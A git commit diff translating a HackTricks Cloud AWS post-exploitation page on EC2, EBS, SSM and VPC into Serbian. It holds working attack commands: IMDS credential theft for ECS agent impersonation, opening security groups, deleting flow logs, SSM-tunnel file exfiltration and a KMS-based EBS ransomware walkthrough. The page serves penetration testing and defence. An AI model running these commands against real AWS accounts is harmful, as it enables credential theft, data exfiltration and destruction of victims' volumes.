Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-13 14:30:59 +00:00
parent e5762dfd88
commit 7ee29aa100
2 changed files with 124 additions and 81 deletions

View File

@@ -1,4 +1,4 @@
# AWS - EC2, EBS, SSM & VPC Post Exploitation
# AWS - EC2, EBS, SSM & VPC Post-eksploatacija
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,8 +12,7 @@ Za više informacija pogledajte:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring **duplira ulazni i izlazni saobraćaj za EC2 instances unutar VPC-a** bez potrebe da se bilo šta instalira na same instances. Ovaj duplikovani saobraćaj obično se šalje nečemu poput network intrusion detection system (IDS) za analizu i nadzor.\
Napadač može to zloupotrebiti da presretne sav saobraćaj i dođe do osetljivih informacija:
VPC traffic mirroring **duplicira dolazni i odlazni saobraćaj za EC2 instances unutar VPC-a** bez potrebe za instalacijom bilo čega na samim instancama. Ovaj duplicirani saobraćaj se obično šalje nečemu poput sistema za detekciju mrežnih upada (IDS) za analizu i nadzor. Napadač bi mogao zloupotrebiti ovo da presretne sav saobraćaj i dobije osetljive informacije iz njega:
Za više informacija pogledajte ovu stranicu:
@@ -21,9 +20,9 @@ Za više informacija pogledajte ovu stranicu:
aws-malicious-vpc-mirror.md
{{#endref}}
### Copy Running Instance
### Kopiranje pokrenute instance
Instances obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da se proveri šta sadrži je da se **kreira AMI i pokrene nova instance (čak i u vašem sopstvenom account) iz nje**:
Instances obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe u njih (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ipak, drugi način da proverite šta sadrže je da **kreirate AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje**:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +48,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots su backupi volumena**, koji obično sadrže **osetljive informacije**, zato njihova provera obično otkriva te informacije.\
Ako nađete volumen bez snapshot-a možete: **kreirati snapshot** i izvršiti sledeće akcije ili ga jednostavno **mount-ovati u instance** unutar naloga:
**Snapshots are backups of volumes**, koji obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te podatke.\
Ako pronađete **volume without a snapshot** možete: **Create a snapshot** i izvršiti sledeće radnje ili jednostavno **mount it in an instance** unutar naloga:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +57,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
Izvezite EC2 AMI direktno u S3 koristeći `CreateStoreImageTask` da biste dobili raw disk image bez deljenja snapshot-a. Ovo omogućava kompletnu offline forenziku ili krađu podataka, dok se networking instance ostavlja netaknut.
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Ovo omogućava potpunu offline forenziku ili krađu podataka, a da pri tom networking instance ostane neizmenjen.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +65,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
Povežite io1/io2 Multi-Attach volume na drugu instance i mount-ujte ga read-only da biste izvlačili podatke u realnom vremenu bez snapshot-a. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ.
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
Kreirajte EC2 Instance Connect Endpoint, autorizujte ingress i injektujte ephemarne SSH ključeve za pristup privatnim instancama preko managed tunela. Omogućava brze lateralne pokrete bez otvaranja javnih portova.
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Omogućava brze lateralne pokrete bez otvaranja javnih portova.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
Premestite sekundarni privatni IP victim ENI-ja na ENI pod kontrolom napadača da biste se predstavljali kao trusted hostovi koji su allowlisted po IP-u. Omogućava zaobilaženje internal ACL-ova ili SG pravila vezanih za specifične adrese.
Move a victim ENIs secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Omogućava zaobilaženje unutrašnjih ACL-ova ili SG pravila koja su vezana za određene adrese.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -90,7 +89,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
Ponovo dodelite Elastic IP sa victim instance na napadača da presretnete inbound traffic ili inicirate outbound konekcije koje izgledaju kao da dolaze sa trusted javnih IP-ova.
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -98,7 +97,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
Ako security group pravilo referencira customer-managed prefix list, dodavanje attacker CIDR-ova u listu tiho širi pristup kroz svako zavisno SG pravilo bez modifikovanja samog SG-a.
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +105,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
Kreirajte gateway ili interface VPC endpoints da povratite outbound pristup iz izolovanih subnet-a. Korišćenje AWS-managed private links zaobilazi nedostajuće IGW/NAT kontrole za eksfiltraciju podataka.
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +113,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
Napadač sa permisijom ec2:AuthorizeSecurityGroupIngress može dodati inbound pravila u security groups (na primer, dozvoliti tcp:80 sa 0.0.0.0/0), čime izlaže interne servise javnom Internetu ili drugim neautorizovanim mrežama.
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
Napadač sa privilegijama ec2:ReplaceNetworkAclEntry (ili sličnim) može izmeniti Network ACLs (NACLs) subneta da ih učini veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — čime se ceo opseg subneta izlaže Internetu ili neautorizovanim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju per-instance, NACLs se primenjuju na nivou subneta, pa promena restriktivnog NACL-a može imati znatno veći blast radius jer omogućava pristup mnogo više hosts.
Napadač sa ec2:ReplaceNetworkAclEntry (ili sličnim) privilegijama može izmeniti subnet-ove Network ACLs (NACLs) kako bi ih učinio veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — izlažući ceo opseg subnet-a Internetu ili neautorizovanim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju po instanci, NACLs se primenjuju na nivou subnet-a, tako da promena restriktivnog NACL-a može imati mnogo veći blast radius omogućavajući pristup mnogo većem broju hostova.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -131,16 +130,16 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
Napadač sa ec2:Delete* i iam:Remove* dozvolama može obrisati kritične infrastrukturne resurse i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes ili attachments, security groups ili rules, ENIs/network endpoints, route tables, gateways, ili managed endpoints. Ovo može izazvati trenutni prekid usluge, gubitak podataka i gubitak forenzičkih dokaza.
Napadač sa ec2:Delete* i iam:Remove* permisijama može obrisati kritične infrastrukturne resurse i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Ovo može izazvati trenutni prekid servisa, gubitak podataka i gubitak forenzičkih dokaza.
Jedan primer je brisanje security group:
One example is deleting a security group:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Cross-Account Exfiltration
Usmerite VPC Flow Logs na S3 bucket koji kontroliše napadač kako biste kontinuirano prikupljali mrežne meta-podatke (source/destination, ports) izvan naloga žrtve za dugoročno izviđanje.
Usmerite VPC Flow Logs ka S3 bucket-u koji kontroliše napadač da kontinuirano prikuplja network metadata (source/destination, ports) izvan naloga žrtve za long-term reconnaissance.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -150,43 +149,81 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, još uvek može **exfil via DNS**.
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, on i dalje može **exfil via DNS**.
- **VPC Flow Logs neće zabeležiti ovo**.
- Nemate pristup AWS DNS logovima.
- **VPC Flow Logs will not record this**.
- Nemate pristup AWS DNS logs.
- Onemogućite ovo postavljanjem "enableDnsSupport" na false pomoću:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
Napadač može pozivati API endpoint-e naloga koji on kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrate data u Cloudtrail logovima.
Napadač može pozvati API endpoint-e naloga kojim on upravlja. Cloudtrail će zabeležiti te pozive i napadač će moći da vidi exfiltrate data u Cloudtrail logovima.
### Otvaranje security group
### Open Security Group
Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način:
Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova ovako:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
Moguće je pokrenuti EC2 instancu i registrovati je da se koristi za pokretanje ECS instanci, a zatim ukrasti podatke ECS instanci.
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### Ukloni VPC flow logs
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
Kompromitovanje bilo kog ECS taska koji radi na EC2 container instance obično je dovoljno da pivotuješ u ulogu hosta i u IAM role povezane sa svim ostalim taskovima na tom nodu. Pošto ne postoji **task isolation for ECS-on-EC2**, svaki task po defaultu može da upita EC2 Instance Metadata Service (IMDS), ukrade container instance profile, i zatim koristi isti WebSocket protokol koji ECS agent koristi prema control plane-u (primitiv **ECScape**) da zatraži kredencijale za svaki task koji je trenutno zakazan na tom hostu. Latacora je dokumentovala ovaj tok rada u njihovom [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), koji sledeći ofanzivni rezime kondenzuje.
#### Attack chain
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
```
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
#### IMDS reachability with IMDSv2 + hop limit 1
Podesavanje IMDSv2 sa `HttpTokens=required` i `HttpPutResponseHopLimit=1` blokira samo taskove koji se nalaze iza dodatnog hopa (Docker bridge). Ostali network modovi ostaju u okviru jednog hop-a od Nitro controllera i i dalje dobijaju odgovore:
| ECS network mode | IMDS reachable? | Reason |
| --- | --- | --- |
| `awsvpc` | ✅ | Svaki task dobija svoj ENI koji je još uvek jedan hop udaljen od IMDS, pa tokeni i odgovori metapodataka uspešno stignu. |
| `host` | ✅ | Taskovi dele host namespace, tako da vide istu udaljenost u hop-ovima kao EC2 instanca. |
| `bridge` | ❌ | Odgovori umiru na Docker bridge jer taj dodatni hop iscrpljuje hop limit. |
Zato, **nikada ne pretpostavljaj da hop limit 1 štiti awsvpc ili host-mode workload-ove**—uvek testiraj iznutra, iz svojih kontejnera.
#### Detecting IMDS blocks per network mode
- **awsvpc tasks:** Security groups, NACLs, ili podešavanja rutiranja ne mogu blokirati link-local adresu 169.254.169.254 jer je Nitro ubacuje na hostu. Proveri `/etc/ecs/ecs.config` za `ECS_AWSVPC_BLOCK_IMDS=true`. Ako je flag odsutan (podrazumevano) možeš curl-ovati IMDS direktno iz taska. Ako je postavljen, pivotuj u host/agent namespace da ga isključiš ili pokreni tooling izvan awsvpc.
- **bridge mode:** Kada zahtevi za metapodatke zakažu iako je hop limit 1 konfigurisan, odbrambeni tim verovatno ubacio `DOCKER-USER` drop pravilo kao npr. `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listanje `iptables -S DOCKER-USER` otkriva pravilo, a root pristup ti omogućava da obrišeš ili promeniš redosled pravila pre nego što upitaš IMDS.
- **host mode:** Proveri agent konfiguraciju za `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ta opcija potpuno uklanja task IAM role, tako da moraš ili ponovo omogućiti tu opciju, preći na awsvpc taskove, ili preuzeti kredencijale kroz neki drugi proces na hostu. Kada je vrednost `true` (podrazumevano), svaki host-mode proces—uključujući kompromitovane kontejnere—može da pristupi IMDS osim ako nisu primenjeni prilagođeni eBPF/cgroup filteri koji ciljaju `169.254.169.254`; traži tc/eBPF programe ili iptables pravila koja referenciraju tu adresu.
Latacora čak objavila [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) koji možeš pokrenuti u ciljnom accountu da izbrojiš koji network modovi i dalje izlažu metapodatke i prema tome isplaniraš sledeći korak.
Kada razumeš koji modovi izlažu IMDS, možeš isplanirati svoj post-exploitation put: ciljaj bilo koji ECS task, zatraži instance profile, predstavi se kao agent i preuzmi sve ostale task role za lateralno kretanje ili persistance unutar klastera.
### Uklanjanje VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
Required permissions:
Potrebne dozvole:
- `ssm:StartSession`
Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs.
Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster.
Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja, što se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs.
Jedan od scenarija u kojima je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster.
> Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -195,54 +232,54 @@ Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Preuzmite AWS privremene kredencijale Bastion EC2 pomoću skripte [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Prebacite kredencijale na svoj računar u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]`
3. Nabavite privremene AWS credentials za Bastion EC2 koristeći skriptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Prebacite credentials na svoj računar u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]`
5. Prijavite se na EKS kao Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da pokazuje na `https://localhost`
6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da ukazuje na `https://localhost`
7. Kreirajte SSM tunel na sledeći način:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Saobraćaj iz `kubectl` alata sada se prosleđuje kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svoje mašine pokretanjem:
8. Saobraćaj iz alata `kubectl` je sada preusmeren kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svoje mašine pokretanjem:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Imajte na umu da će SSL connections propasti osim ako ne postavite zastavicu `--insecure-skip-tls-verify ` (ili njen ekvivalent u K8s audit alatima). Pošto je saobraćaj tunelovan kroz sigurni AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada.
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
Na kraju, ova tehnika nije specifična samo za napadanje privatnih EKS klastera. Možete postaviti proizvoljne domene i portove da pivotirate na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.
Na kraju, ova tehnika nije specifična samo za napade na privatne EKS klastere. Možete podesiti proizvoljne domene i portove da pivotujete na bilo koji drugi AWS servis ili prilagođenu aplikaciju.
---
#### Brzo lokalno ↔ udaljeno prosleđivanje porta (AWS-StartPortForwardingSession)
#### Brzo lokalno ↔ udaljeno prosleđivanje portova (AWS-StartPortForwardingSession)
Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar remote host):
Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih dolaznih Security-Group pravila**.
Uobičajeni slučajevi upotrebe:
* **File exfiltration**
1. Na instanci pokrenite kratak HTTP server koji pokazuje na direktorijum koji želite da exfiltrate:
1. Na instanci pokrenite brz HTTP server koji pokazuje na direktorijum koji želite da izvučete:
```bash
python3 -m http.server 8000
```
2. Sa vaše radne stanice preuzmite fajlove kroz SSM tunel:
2. Sa vaše radne stanice preuzmite fajlove preko SSM tunela:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Pristupanje internim web aplikacijama (npr. Nessus)**
* **Pristup unutrašnjim web aplikacijama (e.g. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -250,7 +287,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Savet: Kompresujte i enkriptujte dokaze pre eksfiltracije kako CloudTrail ne bi zabeležio sadržaj u čistom tekstu:
Savet: Compress and encrypt dokaze pre exfiltrating-a kako CloudTrail ne bi beležio clear-text content:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -259,19 +296,19 @@ Savet: Kompresujte i enkriptujte dokaze pre eksfiltracije kako CloudTrail ne bi
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Pretraga osetljivih informacija u javnim i privatnim AMI-ima
### Pretraživanje osetljivih informacija u javnim i privatnim AMIs
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat namenjen da **pretražuje osetljive informacije u javnim ili privatnim Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljanih AMI-ja, montiranja njihovih volumena i skeniranja radi pronalaženja potencijalnih tajni ili osetljivih podataka.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljnih AMIs, montiranja njihovih volumena i skeniranja radi pronalaska potencijalnih tajni ili osetljivih podataka.
### Deljenje EBS Snapshot-a
### Deljenje EBS Snapshot
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC
Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation notes. KMS bi trebalo preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa.
Proof of concept sličan Ransomware demonstraciji iz S3 post-exploitation beleški. KMS bi trebalo preimenovati u RMS (Ransomware Management Service), s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa.
Prvo, iz 'attacker' AWS account-a, kreirajte customer managed key u KMS. Za ovaj primer pustićemo da AWS upravlja key data-om, ali u realističnom scenariju malicious actor bi zadržao key data izvan AWS'ove kontrole. Promenite key policy da dozvoli bilo kom AWS account Principal-u da koristi key. Za ovu key policy, ime account-a je bilo 'AttackSim', a policy rule koja dozvoljava potpuni pristup zove se 'Outside Encryption'.
Prvo, iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer, pustićemo AWS da upravlja key podacima za nas, ali u realističnoј situaciji malicious actor bi zadržao key podatke van kontrole AWS-a. Promenite key policy tako da dozvoljava bilo kom AWS account Principal da koristi ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a pravilo politike koje dozvoljava potpuni pristup zove se 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -363,7 +400,7 @@ Prvo, iz 'attacker' AWS account-a, kreirajte customer managed key u KMS. Za ovaj
]
}
```
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
Pravilo key policy mora imati sledeće omogućeno da bi se moglo koristiti za enkripciju EBS volumena:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -371,21 +408,21 @@ The key policy rule needs the following enabled to allow for the ability to use
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
Sada, sa javno dostupnim ključem za korišćenje. Možemo iskoristiti 'victim' nalog koji ima pokrenute neke EC2 instance sa priključenim nekriptovanim EBS volumima. EBS volumeni tog 'victim' naloga su meta naše enkripcije; ovaj napad se izvodi pod pretpostavkom kompromitovanja AWS naloga sa visokim privilegijama.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Slično primeru S3 ransomware-a. Ovaj napad će napraviti kopije pridruženih EBS volumena koristeći snapshots, upotrebiti javno dostupan ključ iz 'attacker' account-a da enkriptuje nove EBS volumene, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, i na kraju obrisati snapshots koji su korišćeni za kreiranje novokreiranih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije prikačenih EBS volumena koristeći snapshots, koristiti javno dostupan ključ iz 'attacker' naloga da enkriptuje nove EBS volumene, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, i na kraju obrisati snapshots koji su korišćeni za kreiranje novih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
This results in only encrypted EBS volumes left available in the account.
Rezultat je da u nalogu ostanu samo enkriptovani EBS volumeni.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
Takođe vredi napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni nekriptovani volumeni su sada nestali.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
Zatim se vratite na key policy u 'attacker' nalogu i uklonite pravilo politike 'Outside Encryption' iz key policy-ja.
```json
{
"Version": "2012-10-17",
@@ -456,15 +493,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
]
}
```
Sačekajte trenutak da novo postavljena key policy propagira. Zatim se vratite na 'victim' account i pokušajte da attach-ujete jedan od novo-enkriptovanih EBS volumes. Videćete da možete attach-ovati volume.
Sačekajte trenutak da se novo postavljena key policy propagira. Zatim se vratite na 'victim' nalog i pokušajte da prikačite jedan od novo enkriptovanih EBS volumena. Videćete da možete prikačiti volumen.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Međutim, kada pokušate da zaista pokrenete EC2 instance sa prikačenim enkriptovanim EBS volume-om, pokretanje će jednostavno propasti i instanca će preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, jer prikačeni EBS volumen ne može biti dekriptovan pomoću ključa budući da key policy više to ne dozvoljava.
Međutim, kada pokušate da zaista pokrenete EC2 instance sa enkriptovanim EBS volumenom, to će jednostavno da zakaže i instanca će iz stanja 'pending' vratiti u stanje 'stopped' zauvek, pošto prikačeni EBS volumen ne može biti dekriptovan pomoću ključa jer key policy više to ne dozvoljava.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Ovo je python skripta koja je korišćena. Uzima AWS creds za 'victim' account i javno dostupnu AWS ARN vrednost ključa koji će se koristiti za encryption. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena prikačenih na SVE EC2 instance u ciljanom AWS accountu, zatim zaustaviti svaku EC2 instancu, detach-ovati originalne EBS volumene, obrisati ih, i na kraju obrisati sve snapshots korišćene tokom procesa. To će ostaviti samo enkriptovane EBS volumene u ciljanom 'victim' accountu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, JER JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih oporaviti koristeći korišćeni KMS key i vratiti ih u prvobitno stanje putem snapshots-a, ali želim da vas upozorim da je ovo na kraju dana ransomware PoC.
